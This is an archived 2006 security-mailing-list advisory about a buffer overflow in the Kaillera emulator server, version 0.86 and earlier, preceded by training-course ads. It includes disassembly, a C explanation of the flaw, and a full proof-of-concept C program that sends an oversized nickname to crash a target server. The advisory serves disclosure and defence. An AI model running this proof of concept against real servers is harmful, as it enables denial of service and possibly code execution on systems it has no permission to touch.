Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[NEWS] Kaillera Code Execution

Subject: [NEWS] Kaillera Code Execution
Date: 10 Jul 2006 17:57:39 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Kaillera Code Execution
------------------------------------------------------------------------


SUMMARY

" <http://www.kaillera.com/> Kaillera enables emulators to play on the 
Internet."

Improper handling of user input allows attackers to execute arbitrary code 
using Kaillera.

DETAILS

Vulnerable Systems:
 * Kaillera version 0.86 and prior

The handling of almost all the Kaillera messages is made through the 
reading of the first NULL terminated string and the subsequent reading of 
the remaining data in the message (its content will be parsed in another 
step).
For these operations Kaillera uses a static buffer of 32 bytes and a data 
buffer which is reallocated everytime that the size of the client message 
is bigger than the actual allocated size of the buffer.
The instructions which handle these types of messages start from about 
offset 004019f1 of the Windows server 0.86:

004019F1  |. 33C9           XOR ECX,ECX
004019F3  |. 8A06           MOV AL,BYTE PTR DS:[ESI]
004019F5  |. 57             PUSH EDI
004019F6  |. 84C0           TEST AL,AL
004019F8  |. 74 0C          JE SHORT KAILLERA.00401A06
004019FA  |> 46             /INC ESI
004019FB  |. 88440B 04      |MOV BYTE PTR DS:[EBX+ECX+4],AL
004019FF  |. 41             |INC ECX
00401A00  |. 8A06           |MOV AL,BYTE PTR DS:[ESI]
00401A02  |. 84C0           |TEST AL,AL
00401A04  |.^75 F4          \JNZ SHORT KAILLERA.004019FA
00401A06  |> 8B6C24 18      MOV EBP,DWORD PTR SS:[ESP+18]
00401A0A  |. C64419 04 00   MOV BYTE PTR DS:[ECX+EBX+4],0
00401A0F  |. 2BE9           SUB EBP,ECX
00401A11  |. 8BCB           MOV ECX,EBX
00401A13  |. 83ED 02        SUB EBP,2
00401A16  |. 55             PUSH EBP
00401A17  |. E8 D4FCFFFF    CALL KAILLERA.004016F0
00401A1C  |. 8B7B 24        MOV EDI,DWORD PTR DS:[EBX+24]
00401A1F  |. 8BCD           MOV ECX,EBP
00401A21  |. 8BD1           MOV EDX,ECX
00401A23  |. 46             INC ESI
00401A24  |. C1E9 02        SHR ECX,2
00401A27  |. F3:A5          REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>

which can be traduced (more or less) in C like the following code:

    static char nick[32],
                *data;
    ...
    int     nick_size,
            data_size;

    for(nick_size = 0; *client_msg; nick_size++, client_msg++) {
        nick[nick_size] = *client_msg;
    }
    nick[nick_size] = 0;
    client_msg++;
    data_size = (client_msg_size - nick_size) - 2;
    data      = 004016f0(data_size);    // realloc data if needed
    memcpy(data, client_msg, data_size);

    ...

    004016f0(int size) {
        if(size <= data_alloc_size) return;
        do {
            data_alloc_size <<= 1;
        } while(size > data_alloc_size);
        data = realloc(data, data_alloc_size);
    }

If an attacker uses a nickname longer than 32 bytes he can overwrite the 
address of the data buffer and the value in which is stored its actual 
allocated size, the following scheme shows that piece of memory:

 ooooooooooooooooooooooooooooooooXXXXYYYY
 |                               |   |
 |                               |   amount of data currently allocated
 |                               pointer to the data buffer
 static buffer of 32 bytes

With the overwriting of YYYY we can bypass the first check made by the 
function at offset 004016f0 which does a realloc of the buffer if needed 
since we control the actual allocated size and then we can decide where 
copying the rest of our message in the memory of the server since the 
address of data XXXX is controlled by us too.
That leads to the possibility of executing malicious code.

Proof of Concept:
The header file winerr.h can be found at:  
<http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html> 
http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html
kailleraex.c:
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <time.h>

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close   closesocket
    #define sleep   Sleep
    #define ONESEC  1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define ONESEC  1
#endif

#define VER         "0.1"
#define PORT        27888
#define BUFFSZ      0xffff
#define NICK        "nickname_aaaaaaaaaaaaaaaaaaaaaaa"  \
                    "bbbb"  /* EDI */                   \
                    "cccc"  /* EAX */

int put08(u_char *data, int num);
int put16(u_char *data, int num);
int putsc(u_char *data, u_char *src);

void delimit(u_char *data);
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int 
err);
int timeout(int sock, int secs);
u_int resolv(char *host);
void std_err(void);

struct  sockaddr_in peer;

int main(int argc, char *argv[]) {
    float   ver  = 0.83;
    int     sd,
            seq,
            len;
    u_short port = PORT;
    u_char  *buff,
            *p,
            *t;

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    setbuf(stdout, NULL);

    fputs("\n"
        "Kaillera <= 0.86 possible code execution "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    aluigi.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <host> [port(%hu)]\n"
            "\n", argv[0], port);
        exit(1);
    }

    if(argc > 2) port = atoi(argv[2]);
    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr), ntohs(peer.sin_port));

    buff = malloc(BUFFSZ);
    if(!buff) std_err();

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

redo:
    len = sprintf(buff, "HELLO%1.2f", ver);
    len = send_recv(sd, buff, len, buff, BUFFSZ, 1);
    if(memcmp(buff, "HELLOD00D", 9)) {
        if(!strcmp(buff, "VER")) {
            ver += 0.01;
            printf("- try version %1.2f\n", ver);
            goto redo;
        }
        printf("\nError: wrong reply from the server: %s\n\n", buff);
        exit(1);
    }

    seq = 0;
    peer.sin_port = htons(atoi(buff + 9));

    printf("- connect to port %hu\n", ntohs(peer.sin_port));

    p = buff;
    p += put08(p, 1);       // number of messages

    p += put16(p, seq++);   // sequence
    t = p;      p += 2;     // size of message
    p += put08(p, 3);       // type of message
                            // message:
    p += putsc(p, NICK);
    p += putsc(p, "emulator");
    p += put08(p, 1);

    put16(t, (p - t) - 1);

    printf(
        "- send malformed message:\n"
        "  data      = 0x%08x\n"
        "  data_size = 0x%08x\n",
        *(uint32_t *)(NICK + 32),
        *(uint32_t *)(NICK + 32 + 4));
    len = send_recv(sd, buff, p - buff, buff, BUFFSZ, 0);

    sleep(ONESEC);

    printf("- check server:\n");
    len = sprintf(buff, "HELLO%1.2f", ver);
    len = send_recv(sd, buff, len, buff, BUFFSZ, 0);
    if(len < 0) {
        printf("\n  Server IS vulenrable!!!\n\n");
    } else {
        printf("\n  Server doesn't seem vulenrable\n\n");
    }
    close(sd);
    return(0);
}

int put08(u_char *data, int num) {
    data[0] = num;
    return(1);
}

int put16(u_char *data, int num) {
    data[0] = num;
    data[1] = num >> 8;
    return(2);
}

int putsc(u_char *data, u_char *src) {
    return(sprintf(data, "%s", src) + 1);
}

void delimit(u_char *data) {
    while(*data && (*data != '\n') && (*data != '\r')) data++;
    *data = 0;
}

int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int 
err) {
    int     retry,
            len;

    if(in && !out) {
        if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer))
          < 0) std_err();
        return(0);

    } else if(in) {
        for(retry = 3; retry; retry--) {
            if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, 
sizeof(peer))
              < 0) std_err();
            if(!timeout(sd, 1)) break;
        }

        if(!retry) {
            goto timeout_received;
        }

    } else {
        if(timeout(sd, 3) < 0) {
            goto timeout_received;
        }
    }

    len = recvfrom(sd, out, outsz, 0, NULL, NULL);
    if(len < 0) std_err();
    return(len);

timeout_received:
    if(err) {
        printf("\nError: socket timeout, no reply received\n\n");
        exit(1);
    }
    return(-1);
}

int timeout(int sock, int sec) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec  = sec;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}

u_int resolv(char *host) {
    struct  hostent *hp;
    u_int   host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_int *)hp->h_addr;
    }
    return(host_ip);
}

#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif

/* EoF */


ADDITIONAL INFORMATION

The information has been provided by  <mailto:aluigi@autistici.org> Luigi 
Auriemma.
The original article can be found at:  
<http://aluigi.altervista.org/adv/kailleraex-adv.txt> 
http://aluigi.altervista.org/adv/kailleraex-adv.txt



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [NEWS] Kaillera Code Execution, SecuriTeam <=